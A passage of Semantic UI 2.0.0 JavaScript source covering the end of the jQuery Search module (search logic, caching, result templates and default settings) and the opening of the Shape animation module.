$(this),\n    moduleSelector  = $allModules.selector || '',\n\n    time            = new Date().getTime(),\n    performance     = [],\n\n    query           = arguments[0],\n    methodInvoked   = (typeof query == 'string'),\n    queryArguments  = [].slice.call(arguments, 1),\n    returnedValue\n  ;\n  $(this)\n    .each(function() {\n      var\n        settings          = ( $.isPlainObject(parameters) )\n          ? $.extend(true, {}, $.fn.search.settings, parameters)\n          : $.extend({}, $.fn.search.settings),\n\n        className       = settings.className,\n        metadata        = settings.metadata,\n        regExp          = settings.regExp,\n        selector        = settings.selector,\n        error           = settings.error,\n        namespace       = settings.namespace,\n\n        eventNamespace  = '.' + namespace,\n        moduleNamespace = namespace + '-module',\n\n        $module         = $(this),\n        $prompt         = $module.find(selector.prompt),\n        $searchButton   = $module.find(selector.searchButton),\n        $results        = $module.find(selector.results),\n        $result         = $module.find(selector.result),\n        $category       = $module.find(selector.category),\n\n        element         = this,\n        instance        = $module.data(moduleNamespace),\n\n        module\n      ;\n\n      module = {\n\n        initialize: function() {\n          module.verbose('Initializing module');\n          module.determine.searchFields();\n          module.bind.events();\n          module.set.type();\n          module.create.results();\n          module.instantiate();\n        },\n        instantiate: function() {\n          module.verbose('Storing instance of module', module);\n          instance = module;\n          $module\n            .data(moduleNamespace, module)\n          ;\n        },\n        destroy: function() {\n          module.verbose('Destroying instance');\n          $module\n            .off(eventNamespace)\n            .removeData(moduleNamespace)\n          ;\n        },\n\n        bind: {\n          events: function() {\n            module.verbose('Binding events to search');\n            if(settings.automatic) {\n              $module\n                .on(module.get.inputEvent() + eventNamespace, selector.prompt, module.event.input)\n              ;\n              $prompt\n                .attr('autocomplete', 'off')\n              ;\n            }\n            $module\n              // prompt\n              .on('focus'     + eventNamespace, selector.prompt, module.event.focus)\n              .on('blur'      + eventNamespace, selector.prompt, module.event.blur)\n              .on('keydown'   + eventNamespace, selector.prompt, module.handleKeyboard)\n              // search button\n              .on('click'     + eventNamespace, selector.searchButton, module.query)\n              // results\n              .on('mousedown' + eventNamespace, selector.results, module.event.result.mousedown)\n              .on('mouseup'   + eventNamespace, selector.results, module.event.result.mouseup)\n              .on('click'     + eventNamespace, selector.result,  module.event.result.click)\n            ;\n          }\n        },\n\n        determine: {\n          searchFields: function() {\n            // this makes sure $.extend does not add specified search fields to default fields\n            // this is the only setting which should not extend defaults\n            if(parameters && parameters.searchFields !== undefined) {\n              settings.searchFields = parameters.searchFields;\n            }\n          }\n        },\n\n        event: {\n          input: function() {\n            clearTimeout(module.timer);\n            module.timer = setTimeout(module.query, settings.searchDelay);\n          },\n          focus: function() {\n            module.set.focus();\n            if( module.has.minimumCharacters() ) {\n              module.query();\n              module.showResults();\n            }\n          },\n          blur: function(event) {\n            var\n              pageLostFocus = (document.activeElement === this)\n            ;\n            if(!pageLostFocus && !module.resultsClicked) {\n              module.cancel.query();\n              module.remove.focus();\n              module.timer = setTimeout(module.hideResults, settings.hideDelay);\n            }\n          },\n          result: {\n            mousedown: function() {\n              module.resultsClicked = true;\n            },\n            mouseup: function() {\n              module.resultsClicked = false;\n            },\n            click: function(event) {\n              module.debug('Search result selected');\n              var\n                $result = $(this),\n                $title  = $result.find(selector.title).eq(0),\n                $link   = $result.find('a[href]').eq(0),\n                href    = $link.attr('href')   || false,\n                target  = $link.attr('target') || false,\n                title   = $title.html(),\n                // title is used for result lookup\n                value   = ($title.length > 0)\n                  ? $title.text()\n                  : false,\n                results = module.get.results(),\n                result  = $result.data(metadata.result) || module.get.result(value, results),\n                returnedValue\n              ;\n              if( $.isFunction(settings.onSelect) ) {\n                if(settings.onSelect.call(element, result, results) === false) {\n                  module.debug('Custom onSelect callback cancelled default select action');\n                  return;\n                }\n              }\n              module.hideResults();\n              if(value) {\n                module.set.value(value);\n              }\n              if(href) {\n                module.verbose('Opening search link found in result', $link);\n                if(target == '_blank' || event.ctrlKey) {\n                  window.open(href);\n                }\n                else {\n                  window.location.href = (href);\n                }\n              }\n            }\n          }\n        },\n        handleKeyboard: function(event) {\n          var\n            // force selector refresh\n            $result      = $module.find(selector.result),\n            $category    = $module.find(selector.category),\n            currentIndex = $result.index( $result.filter('.' + className.active) ),\n            resultSize   = $result.length,\n\n            keyCode      = event.which,\n            keys         = {\n              backspace : 8,\n              enter     : 13,\n              escape    : 27,\n              upArrow   : 38,\n              downArrow : 40\n            },\n            newIndex\n          ;\n          // search shortcuts\n          if(keyCode == keys.escape) {\n            module.verbose('Escape key pressed, blurring search field');\n            $prompt\n              .trigger('blur')\n            ;\n          }\n          if( module.is.visible() ) {\n            if(keyCode == keys.enter) {\n              module.verbose('Enter key pressed, selecting active result');\n              if( $result.filter('.' + className.active).length > 0 ) {\n                module.event.result.click.call($result.filter('.' + className.active), event);\n                event.preventDefault();\n                return false;\n              }\n            }\n            else if(keyCode == keys.upArrow) {\n              module.verbose('Up key pressed, changing active result');\n              newIndex = (currentIndex - 1 < 0)\n                ? currentIndex\n                : currentIndex - 1\n              ;\n              $category\n                .removeClass(className.active)\n              ;\n              $result\n                .removeClass(className.active)\n                .eq(newIndex)\n                  .addClass(className.active)\n                  .closest($category)\n                    .addClass(className.active)\n              ;\n              event.preventDefault();\n            }\n            else if(keyCode == keys.downArrow) {\n              module.verbose('Down key pressed, changing active result');\n              newIndex = (currentIndex + 1 >= resultSize)\n                ? currentIndex\n                : currentIndex + 1\n              ;\n              $category\n                .removeClass(className.active)\n              ;\n              $result\n                .removeClass(className.active)\n                .eq(newIndex)\n                  .addClass(className.active)\n                  .closest($category)\n                    .addClass(className.active)\n              ;\n              event.preventDefault();\n            }\n          }\n          else {\n            // query shortcuts\n            if(keyCode == keys.enter) {\n              module.verbose('Enter key pressed, executing query');\n              module.query();\n              module.set.buttonPressed();\n              $prompt.one('keyup', module.remove.buttonFocus);\n            }\n          }\n        },\n\n        setup: {\n          api: function() {\n            var\n              apiSettings = {\n                debug     : settings.debug,\n                on        : false,\n                cache     : 'local',\n                action    : 'search',\n                onError   : module.error\n              },\n              searchHTML\n            ;\n            module.verbose('First request, initializing API');\n            $module.api(apiSettings);\n          }\n        },\n\n        can: {\n          useAPI: function() {\n            return $.fn.api !== undefined;\n          },\n          transition: function() {\n            return settings.transition && $.fn.transition !== undefined && $module.transition('is supported');\n          }\n        },\n\n        is: {\n          empty: function() {\n            return ($results.html() === '');\n          },\n          visible: function() {\n            return ($results.filter(':visible').length > 0);\n          },\n          focused: function() {\n            return ($prompt.filter(':focus').length > 0);\n          }\n        },\n\n        get: {\n          inputEvent: function() {\n            var\n              prompt = $prompt[0],\n              inputEvent   = (prompt !== undefined && prompt.oninput !== undefined)\n                ? 'input'\n                : (prompt !== undefined && prompt.onpropertychange !== undefined)\n                  ? 'propertychange'\n                  : 'keyup'\n            ;\n            return inputEvent;\n          },\n          value: function() {\n            return $prompt.val();\n          },\n          results: function() {\n            var\n              results = $module.data(metadata.results)\n            ;\n            return results;\n          },\n          result: function(value, results) {\n            var\n              lookupFields = ['title', 'id'],\n              result       = false\n            ;\n            value = (value !== undefined)\n              ? value\n              : module.get.value()\n            ;\n            results = (results !== undefined)\n              ? results\n              : module.get.results()\n            ;\n            if(settings.type === 'category') {\n              module.debug('Finding result that matches', value);\n              $.each(results, function(index, category) {\n                if($.isArray(category.results)) {\n                  result = module.search.object(value, category.results, lookupFields)[0];\n                  // dont continue searching if a result is found\n                  if(result) {\n                    return false;\n                  }\n                }\n              });\n            }\n            else {\n              module.debug('Finding result in results object', value);\n              result = module.search.object(value, results, lookupFields)[0];\n            }\n            return result || false;\n          },\n        },\n\n        set: {\n          focus: function() {\n            $module.addClass(className.focus);\n          },\n          loading: function() {\n            $module.addClass(className.loading);\n          },\n          value: function(value) {\n            module.verbose('Setting search input value', value);\n            $prompt\n              .val(value)\n            ;\n          },\n          type: function(type) {\n            type = type || settings.type;\n            if(settings.type == 'category') {\n              $module.addClass(settings.type);\n            }\n          },\n          buttonPressed: function() {\n            $searchButton.addClass(className.pressed);\n          }\n        },\n\n        remove: {\n          loading: function() {\n            $module.removeClass(className.loading);\n          },\n          focus: function() {\n            $module.removeClass(className.focus);\n          },\n          buttonPressed: function() {\n            $searchButton.removeClass(className.pressed);\n          }\n        },\n\n        query: function() {\n          var\n            searchTerm = module.get.value(),\n            cache = module.read.cache(searchTerm)\n          ;\n          if( module.has.minimumCharacters() )  {\n            if(cache) {\n              module.debug('Reading result from cache', searchTerm);\n              module.save.results(cache.results);\n              module.addResults(cache.html);\n              module.inject.id(cache.results);\n            }\n            else {\n              module.debug('Querying for', searchTerm);\n              if($.isPlainObject(settings.source) || $.isArray(settings.source)) {\n                module.search.local(searchTerm);\n              }\n              else if( module.can.useAPI() ) {\n                module.search.remote(searchTerm);\n              }\n              else {\n                module.error(error.source);\n              }\n              settings.onSearchQuery.call(element, searchTerm);\n            }\n          }\n          else {\n            module.hideResults();\n          }\n        },\n\n        search: {\n          local: function(searchTerm) {\n            var\n              results = module.search.object(searchTerm, settings.content),\n              searchHTML\n            ;\n            module.set.loading();\n            module.save.results(results);\n            module.debug('Returned local search results', results);\n\n            searchHTML = module.generateResults({\n              results: results\n            });\n            module.remove.loading();\n            module.addResults(searchHTML);\n            module.inject.id(results);\n            module.write.cache(searchTerm, {\n              html    : searchHTML,\n              results : results\n            });\n          },\n          remote: function(searchTerm) {\n            var\n              apiSettings = {\n                onSuccess : function(response) {\n                  module.parse.response.call(element, response, searchTerm);\n                },\n                onFailure: function() {\n                  module.displayMessage(error.serverError);\n                },\n                urlData: {\n                  query: searchTerm\n                }\n              }\n            ;\n            if( !$module.api('get request') ) {\n              module.setup.api();\n            }\n            $.extend(true, apiSettings, settings.apiSettings);\n            module.debug('Executing search', apiSettings);\n            module.cancel.query();\n            $module\n              .api('setting', apiSettings)\n              .api('query')\n            ;\n          },\n          object: function(searchTerm, source, searchFields) {\n            var\n              results      = [],\n              fuzzyResults = [],\n              searchExp    = searchTerm.toString().replace(regExp.escape, '\\\\$&'),\n              matchRegExp  = new RegExp(regExp.beginsWith + searchExp, 'i'),\n\n              // avoid duplicates when pushing results\n              addResult = function(array, result) {\n                var\n                  notResult      = ($.inArray(result, results) == -1),\n                  notFuzzyResult = ($.inArray(result, fuzzyResults) == -1)\n                ;\n                if(notResult && notFuzzyResult) {\n                  array.push(result);\n                }\n              }\n            ;\n            source = source || settings.source;\n            searchFields = (searchFields !== undefined)\n              ? searchFields\n              : settings.searchFields\n            ;\n\n            // search fields should be array to loop correctly\n            if(!$.isArray(searchFields)) {\n              searchFields = [searchFields];\n            }\n\n            // exit conditions if no source\n            if(source === undefined || source === false) {\n              module.error(error.source);\n              return [];\n            }\n\n            // iterate through search fields looking for matches\n            $.each(searchFields, function(index, field) {\n              $.each(source, function(label, content) {\n                var\n                  fieldExists = (typeof content[field] == 'string')\n                ;\n                if(fieldExists) {\n                  if( content[field].search(matchRegExp) !== -1) {\n                    // content starts with value (first in results)\n                    addResult(results, content);\n                  }\n                  else if(settings.searchFullText && module.fuzzySearch(searchTerm, content[field]) ) {\n                    // content fuzzy matches (last in results)\n                    addResult(fuzzyResults, content);\n                  }\n                }\n              });\n            });\n            return $.merge(results, fuzzyResults);\n          }\n        },\n\n        fuzzySearch: function(query, term) {\n          var\n            termLength  = term.length,\n            queryLength = query.length\n          ;\n          if(typeof query !== 'string') {\n            return false;\n          }\n          query = query.toLowerCase();\n          term  = term.toLowerCase();\n          if(queryLength > termLength) {\n            return false;\n          }\n          if(queryLength === termLength) {\n            return (query === term);\n          }\n          search: for (var characterIndex = 0, nextCharacterIndex = 0; characterIndex < queryLength; characterIndex++) {\n            var\n              queryCharacter = query.charCodeAt(characterIndex)\n            ;\n            while(nextCharacterIndex < termLength) {\n              if(term.charCodeAt(nextCharacterIndex++) === queryCharacter) {\n                continue search;\n              }\n            }\n            return false;\n          }\n          return true;\n        },\n\n        parse: {\n          response: function(response, searchTerm) {\n            var\n              searchHTML = module.generateResults(response)\n            ;\n            module.verbose('Parsing server response', response);\n            if(response !== undefined) {\n              if(searchTerm !== undefined && response.results !== undefined) {\n                module.addResults(searchHTML);\n                module.inject.id(response.results);\n                module.write.cache(searchTerm, {\n                  html    : searchHTML,\n                  results : response.results\n                });\n                module.save.results(response.results);\n              }\n            }\n          }\n        },\n\n        cancel: {\n          query: function() {\n            if( module.can.useAPI() ) {\n              $module.api('abort');\n            }\n          }\n        },\n\n        has: {\n          minimumCharacters: function() {\n            var\n              searchTerm    = module.get.value(),\n              numCharacters = searchTerm.length\n            ;\n            return (numCharacters >= settings.minCharacters);\n          }\n        },\n\n        clear: {\n          cache: function(value) {\n            var\n              cache = $module.data(metadata.cache)\n            ;\n            if(!value) {\n              module.debug('Clearing cache', value);\n              $module.removeData(metadata.cache);\n            }\n            else if(value && cache && cache[value]) {\n              module.debug('Removing value from cache', value);\n              delete cache[value];\n              $module.data(metadata.cache, cache);\n            }\n          }\n        },\n\n        read: {\n          cache: function(name) {\n            var\n              cache = $module.data(metadata.cache)\n            ;\n            if(settings.cache) {\n              module.verbose('Checking cache for generated html for query', name);\n              return (typeof cache == 'object') && (cache[name] !== undefined)\n                ? cache[name]\n                : false\n              ;\n            }\n            return false;\n          }\n        },\n\n        create: {\n          id: function(resultIndex, categoryIndex) {\n            var\n              resultID      = (resultIndex + 1), // not zero indexed\n              categoryID    = (categoryIndex + 1),\n              firstCharCode,\n              letterID,\n              id\n            ;\n            if(categoryIndex !== undefined) {\n              // start char code for \"A\"\n              letterID = String.fromCharCode(97 + categoryIndex);\n              id          = letterID + resultID;\n              module.verbose('Creating category result id', id);\n            }\n            else {\n              id = resultID;\n              module.verbose('Creating result id', id);\n            }\n            return id;\n          },\n          results: function() {\n            if($results.length === 0) {\n              $results = $('<div />')\n                .addClass(className.results)\n                .appendTo($module)\n              ;\n            }\n          }\n        },\n\n        inject: {\n          result: function(result, resultIndex, categoryIndex) {\n            module.verbose('Injecting result into results');\n            var\n              $selectedResult = (categoryIndex !== undefined)\n                ? $results\n                    .children().eq(categoryIndex)\n                      .children(selector.result).eq(resultIndex)\n                : $results\n                    .children(selector.result).eq(resultIndex)\n            ;\n            module.verbose('Injecting results metadata', $selectedResult);\n            $selectedResult\n              .data(metadata.result, result)\n            ;\n          },\n          id: function(results) {\n            module.debug('Injecting unique ids into results');\n            var\n              // since results may be object, we must use counters\n              categoryIndex = 0,\n              resultIndex   = 0\n            ;\n            if(settings.type === 'category') {\n              // iterate through each category result\n              $.each(results, function(index, category) {\n                resultIndex = 0;\n                $.each(category.results, function(index, value) {\n                  var\n                    result = category.results[index]\n                  ;\n                  if(result.id === undefined) {\n                    result.id = module.create.id(resultIndex, categoryIndex);\n                  }\n                  module.inject.result(result, resultIndex, categoryIndex);\n                  resultIndex++;\n                });\n                categoryIndex++;\n              });\n            }\n            else {\n              // top level\n              $.each(results, function(index, value) {\n                var\n                  result = results[index]\n                ;\n                if(result.id === undefined) {\n                  result.id = module.create.id(resultIndex);\n                }\n                module.inject.result(result, resultIndex);\n                resultIndex++;\n              });\n            }\n            return results;\n          }\n        },\n\n        save: {\n          results: function(results) {\n            module.verbose('Saving current search results to metadata', results);\n            $module.data(metadata.results, results);\n          }\n        },\n\n        write: {\n          cache: function(name, value) {\n            var\n              cache = ($module.data(metadata.cache) !== undefined)\n                ? $module.data(metadata.cache)\n                : {}\n            ;\n            if(settings.cache) {\n              module.verbose('Writing generated html to cache', name, value);\n              cache[name] = value;\n              $module\n                .data(metadata.cache, cache)\n              ;\n            }\n          }\n        },\n\n        addResults: function(html) {\n          if( $.isFunction(settings.onResultsAdd) ) {\n            if( settings.onResultsAdd.call($results, html) === false ) {\n              module.debug('onResultsAdd callback cancelled default action');\n              return false;\n            }\n          }\n          $results\n            .html(html)\n          ;\n          module.showResults();\n        },\n\n        showResults: function() {\n          if( !module.is.visible() && module.is.focused() && !module.is.empty() ) {\n            if( module.can.transition() ) {\n              module.debug('Showing results with css animations');\n              $results\n                .transition({\n                  animation  : settings.transition + ' in',\n                  debug      : settings.debug,\n                  verbose    : settings.verbose,\n                  duration   : settings.duration,\n                  queue      : true\n                })\n              ;\n            }\n            else {\n              module.debug('Showing results with javascript');\n              $results\n                .stop()\n                .fadeIn(settings.duration, settings.easing)\n              ;\n            }\n            settings.onResultsOpen.call($results);\n          }\n        },\n        hideResults: function() {\n          if( module.is.visible() ) {\n            if( module.can.transition() ) {\n              module.debug('Hiding results with css animations');\n              $results\n                .transition({\n                  animation  : settings.transition + ' out',\n                  debug      : settings.debug,\n                  verbose    : settings.verbose,\n                  duration   : settings.duration,\n                  queue      : true\n                })\n              ;\n            }\n            else {\n              module.debug('Hiding results with javascript');\n              $results\n                .stop()\n                .fadeOut(settings.duration, settings.easing)\n              ;\n            }\n            settings.onResultsClose.call($results);\n          }\n        },\n\n        generateResults: function(response) {\n          module.debug('Generating html from response', response);\n          var\n            template       = settings.templates[settings.type],\n            isProperObject = ($.isPlainObject(response.results) && !$.isEmptyObject(response.results)),\n            isProperArray  = ($.isArray(response.results) && response.results.length > 0),\n            html           = ''\n          ;\n          if(isProperObject || isProperArray ) {\n            if(settings.maxResults > 0) {\n              if(isProperObject) {\n                if(settings.type == 'standard') {\n                  module.error(error.maxResults);\n                }\n              }\n              else {\n                response.results = response.results.slice(0, settings.maxResults);\n              }\n            }\n            if($.isFunction(template)) {\n              html = template(response);\n            }\n            else {\n              module.error(error.noTemplate, false);\n            }\n          }\n          else {\n            html = module.displayMessage(error.noResults, 'empty');\n          }\n          settings.onResults.call(element, response);\n          return html;\n        },\n\n        displayMessage: function(text, type) {\n          type = type || 'standard';\n          module.debug('Displaying message', text, type);\n          module.addResults( settings.templates.message(text, type) );\n          return settings.templates.message(text, type);\n        },\n\n        setting: function(name, value) {\n          if( $.isPlainObject(name) ) {\n            $.extend(true, settings, name);\n          }\n          else if(value !== undefined) {\n            settings[name] = value;\n          }\n          else {\n            return settings[name];\n          }\n        },\n        internal: function(name, value) {\n          if( $.isPlainObject(name) ) {\n            $.extend(true, module, name);\n          }\n          else if(value !== undefined) {\n            module[name] = value;\n          }\n          else {\n            return module[name];\n          }\n        },\n        debug: function() {\n          if(settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.debug.apply(console, arguments);\n            }\n          }\n        },\n        verbose: function() {\n          if(settings.verbose && settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.verbose.apply(console, arguments);\n            }\n          }\n        },\n        error: function() {\n          module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');\n          module.error.apply(console, arguments);\n        },\n        performance: {\n          log: function(message) {\n            var\n              currentTime,\n              executionTime,\n              previousTime\n            ;\n            if(settings.performance) {\n              currentTime   = new Date().getTime();\n              previousTime  = time || currentTime;\n              executionTime = currentTime - previousTime;\n              time          = currentTime;\n              performance.push({\n                'Name'           : message[0],\n                'Arguments'      : [].slice.call(message, 1) || '',\n                'Element'        : element,\n                'Execution Time' : executionTime\n              });\n            }\n            clearTimeout(module.performance.timer);\n            module.performance.timer = setTimeout(module.performance.display, 500);\n          },\n          display: function() {\n            var\n              title = settings.name + ':',\n              totalTime = 0\n            ;\n            time = false;\n            clearTimeout(module.performance.timer);\n            $.each(performance, function(index, data) {\n              totalTime += data['Execution Time'];\n            });\n            title += ' ' + totalTime + 'ms';\n            if(moduleSelector) {\n              title += ' \\'' + moduleSelector + '\\'';\n            }\n            if($allModules.length > 1) {\n              title += ' ' + '(' + $allModules.length + ')';\n            }\n            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {\n              console.groupCollapsed(title);\n              if(console.table) {\n                console.table(performance);\n              }\n              else {\n                $.each(performance, function(index, data) {\n                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');\n                });\n              }\n              console.groupEnd();\n            }\n            performance = [];\n          }\n        },\n        invoke: function(query, passedArguments, context) {\n          var\n            object = instance,\n            maxDepth,\n            found,\n            response\n          ;\n          passedArguments = passedArguments || queryArguments;\n          context         = element         || context;\n          if(typeof query == 'string' && object !== undefined) {\n            query    = query.split(/[\\. ]/);\n            maxDepth = query.length - 1;\n            $.each(query, function(depth, value) {\n              var camelCaseValue = (depth != maxDepth)\n                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)\n                : query\n              ;\n              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {\n                object = object[camelCaseValue];\n              }\n              else if( object[camelCaseValue] !== undefined ) {\n                found = object[camelCaseValue];\n                return false;\n              }\n              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {\n                object = object[value];\n              }\n              else if( object[value] !== undefined ) {\n                found = object[value];\n                return false;\n              }\n              else {\n                return false;\n              }\n            });\n          }\n          if( $.isFunction( found ) ) {\n            response = found.apply(context, passedArguments);\n          }\n          else if(found !== undefined) {\n            response = found;\n          }\n          if($.isArray(returnedValue)) {\n            returnedValue.push(response);\n          }\n          else if(returnedValue !== undefined) {\n            returnedValue = [returnedValue, response];\n          }\n          else if(response !== undefined) {\n            returnedValue = response;\n          }\n          return found;\n        }\n      };\n      if(methodInvoked) {\n        if(instance === undefined) {\n          module.initialize();\n        }\n        module.invoke(query);\n      }\n      else {\n        if(instance !== undefined) {\n          instance.invoke('destroy');\n        }\n        module.initialize();\n      }\n\n    })\n  ;\n\n  return (returnedValue !== undefined)\n    ? returnedValue\n    : this\n  ;\n};\n\n$.fn.search.settings = {\n\n  name           : 'Search',\n  namespace      : 'search',\n\n  debug          : false,\n  verbose        : false,\n  performance    : true,\n\n  type           : 'standard',\n  // template to use (specified in settings.templates)\n\n  minCharacters  : 1,\n  // minimum characters required to search\n\n  apiSettings    : false,\n  // API config\n\n  source         : false,\n  // object to search\n\n  searchFields   : [\n    'title',\n    'description'\n  ],\n  // fields to search\n\n  searchFullText : true,\n  // whether to include fuzzy results in local search\n\n  automatic      : true,\n  // whether to add events to prompt automatically\n\n  hideDelay      : 0,\n  // delay before hiding menu after blur\n\n  searchDelay    : 200,\n  // delay before searching\n\n  maxResults     : 7,\n  // maximum results returned from local\n\n  cache          : true,\n  // whether to store lookups in local cache\n\n  // transition settings\n  transition     : 'scale',\n  duration       : 200,\n  easing         : 'easeOutExpo',\n\n  // callbacks\n  onSelect       : false,\n  onResultsAdd   : false,\n\n  onSearchQuery  : function(){},\n  onResults      : function(response){},\n\n  onResultsOpen  : function(){},\n  onResultsClose : function(){},\n\n  className: {\n    active  : 'active',\n    empty   : 'empty',\n    focus   : 'focus',\n    loading : 'loading',\n    results : 'results',\n    pressed : 'down'\n  },\n\n  error : {\n    source      : 'Cannot search. No source used, and Semantic API module was not included',\n    noResults   : 'Your search returned no results',\n    logging     : 'Error in debug logging, exiting.',\n    noEndpoint  : 'No search endpoint was specified',\n    noTemplate  : 'A valid template name was not specified.',\n    serverError : 'There was an issue querying the server.',\n    maxResults  : 'Results must be an array to use maxResults setting',\n    method      : 'The method you called is not defined.'\n  },\n\n  metadata: {\n    cache   : 'cache',\n    results : 'results',\n    result  : 'result'\n  },\n\n  regExp: {\n    escape     : /[\\-\\[\\]\\/\\{\\}\\(\\)\\*\\+\\?\\.\\\\\\^\\$\\|]/g,\n    beginsWith : '(?:\\s|^)'\n  },\n\n  selector : {\n    prompt       : '.prompt',\n    searchButton : '.search.button',\n    results      : '.results',\n    category     : '.category',\n    result       : '.result',\n    title        : '.title, .name'\n  },\n\n  templates: {\n    escape: function(string) {\n      var\n        badChars     = /[&<>\"'`]/g,\n        shouldEscape = /[&<>\"'`]/,\n        escape       = {\n          \"&\": \"&amp;\",\n          \"<\": \"&lt;\",\n          \">\": \"&gt;\",\n          '\"': \"&quot;\",\n          \"'\": \"&#x27;\",\n          \"`\": \"&#x60;\"\n        },\n        escapedChar  = function(chr) {\n          return escape[chr];\n        }\n      ;\n      if(shouldEscape.test(string)) {\n        return string.replace(badChars, escapedChar);\n      }\n      return string;\n    },\n    message: function(message, type) {\n      var\n        html = ''\n      ;\n      if(message !== undefined && type !== undefined) {\n        html +=  ''\n          + '<div class=\"message ' + type + '\">'\n        ;\n        // message type\n        if(type == 'empty') {\n          html += ''\n            + '<div class=\"header\">No Results</div class=\"header\">'\n            + '<div class=\"description\">' + message + '</div class=\"description\">'\n          ;\n        }\n        else {\n          html += ' <div class=\"description\">' + message + '</div>';\n        }\n        html += '</div>';\n      }\n      return html;\n    },\n    category: function(response) {\n      var\n        html = '',\n        escape = $.fn.search.settings.templates.escape\n      ;\n      if(response.results !== undefined) {\n        // each category\n        $.each(response.results, function(index, category) {\n          if(category.results !== undefined && category.results.length > 0) {\n            html  += ''\n              + '<div class=\"category\">'\n              + '<div class=\"name\">' + category.name + '</div>'\n            ;\n            // each item inside category\n            $.each(category.results, function(index, result) {\n              html  += '<div class=\"result\">';\n              if(result.url) {\n                html  += '<a href=\"' + result.url + '\"></a>';\n              }\n              if(result.image !== undefined) {\n                result.image = escape(result.image);\n                html += ''\n                  + '<div class=\"image\">'\n                  + ' <img src=\"' + result.image + '\" alt=\"\">'\n                  + '</div>'\n                ;\n              }\n              html += '<div class=\"content\">';\n              if(result.price !== undefined) {\n                result.price = escape(result.price);\n                html += '<div class=\"price\">' + result.price + '</div>';\n              }\n              if(result.title !== undefined) {\n                result.title = escape(result.title);\n                html += '<div class=\"title\">' + result.title + '</div>';\n              }\n              if(result.description !== undefined) {\n                html += '<div class=\"description\">' + result.description + '</div>';\n              }\n              html  += ''\n                + '</div>'\n                + '</div>'\n              ;\n            });\n            html  += ''\n              + '</div>'\n            ;\n          }\n        });\n        if(response.action) {\n          html += ''\n          + '<a href=\"' + response.action.url + '\" class=\"action\">'\n          +   response.action.text\n          + '</a>';\n        }\n        return html;\n      }\n      return false;\n    },\n    standard: function(response) {\n      var\n        html = ''\n      ;\n      if(response.results !== undefined) {\n\n        // each result\n        $.each(response.results, function(index, result) {\n          if(result.url) {\n            html  += '<a class=\"result\" href=\"' + result.url + '\">';\n          }\n          else {\n            html  += '<a class=\"result\">';\n          }\n          if(result.image !== undefined) {\n            html += ''\n              + '<div class=\"image\">'\n              + ' <img src=\"' + result.image + '\">'\n              + '</div>'\n            ;\n          }\n          html += '<div class=\"content\">';\n          if(result.price !== undefined) {\n            html += '<div class=\"price\">' + result.price + '</div>';\n          }\n          if(result.title !== undefined) {\n            html += '<div class=\"title\">' + result.title + '</div>';\n          }\n          if(result.description !== undefined) {\n            html += '<div class=\"description\">' + result.description + '</div>';\n          }\n          html  += ''\n            + '</div>'\n          ;\n          html += '</a>';\n        });\n\n        if(response.action) {\n          html += ''\n          + '<a href=\"' + response.action.url + '\" class=\"action\">'\n          +   response.action.text\n          + '</a>';\n        }\n        return html;\n      }\n      return false;\n    }\n  }\n};\n\n})( jQuery, window , document );\n\n/*!\n * # Semantic UI 2.0.0 - Shape\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n;(function ( $, window, document, undefined ) {\n\n\"use strict\";\n\n$.fn.shape = function(parameters) {\n  var\n    $allModules     = $(this),\n    $body           = $('body'),\n\n    time            = new Date().getTime(),\n    performance     = [],\n\n    query           = arguments[0],\n    methodInvoked   = (typeof query == 'string'),\n    queryArguments  = [].slice.call(arguments, 1),\n\n    requestAnimationFrame = window.requestAnimationFrame\n      || window.mozRequestAnimationFrame\n      || window.webkitRequestAnimationFrame\n      || window.msRequestAnimationFrame\n      || function(callback) { setTimeout(callback, 0); },\n\n    returnedValue\n  ;\n\n  $allModules\n    .each(function() {\n      var\n        moduleSelector = $allModules.selector || '',\n        settings       = ( $.isPlainObject(parameters) )\n          ? $.extend(true, {}, $.fn.shape.settings, parameters)\n          : $.extend({}, $.fn.shape.settings),\n\n        // internal aliases\n        namespace     = settings.namespace,\n        selector      = settings.selector,\n        error         = settings.error,\n        className     = settings.className,\n\n        // define namespaces for modules\n        eventNamespace  = '.' + namespace,\n        moduleNamespace = 'module-' + namespace,\n\n        // selector cache\n        $module       = $(this),\n        $sides        = $module.find(selector.sides),\n        $side         = $module.find(selector.side),\n\n        // private variables\n        nextIndex = false,\n        $activeSide,\n        $nextSide,\n\n        // standard module\n        element       = this,\n        instance      = $module.data(moduleNamespace),\n        module\n      ;\n\n      module = {\n\n        initialize: function() {\n          module.verbose('Initializing module for', element);\n          module.set.defaultSide();\n          module.instantiate();\n        },\n\n        instantiate: function() {\n          module.verbose('Storing instance of module', module);\n          instance = module;\n          $module\n            .data(moduleNamespace, instance)\n          ;\n        },\n\n        destroy: function() {\n          module.verbose('Destroying previous module for', element);\n          $module\n            .removeData(moduleNamespace)\n            .off(eventNamespace)\n          ;\n        },\n\n        refresh: function() {\n          module.verbose('Refreshing selector cache for', element);\n          $module = $(element);\n          $sides  = $(this).find(selector.shape);\n          $side   = $(this).find(selector.side);\n        },\n\n        repaint: function() {\n          module.verbose('Forcing repaint event');\n          var\n            shape          = $sides[0] || document.createElement('div'),\n            fakeAssignment = shape.offsetWidth\n          ;\n        },\n\n        animate: function(propertyObject, callback) {\n          module.verbose('Animating box with properties', propertyObject);\n          callback = callback || function(event) {\n            module.verbose('Executing animation callback');\n            if(event !== undefined) {\n              event.stopPropagation();\n            }\n            module.reset();\n            module.set.active();\n          };\n          settings.beforeChange.call($nextSide[0]);\n          if(module.get.transitionEvent()) {\n            module.verbose('Starting CSS animation');\n            $module\n              .addClass(className.animating)\n            ;\n            $sides\n              .css(propertyObject)\n              .one(module.get.transitionEvent(), callback)\n            ;\n            module.set.duration(settings.duration);\n            requestAnimationFrame(function() {\n              $module\n                .addClass(className.animating)\n              ;\n              $activeSide\n                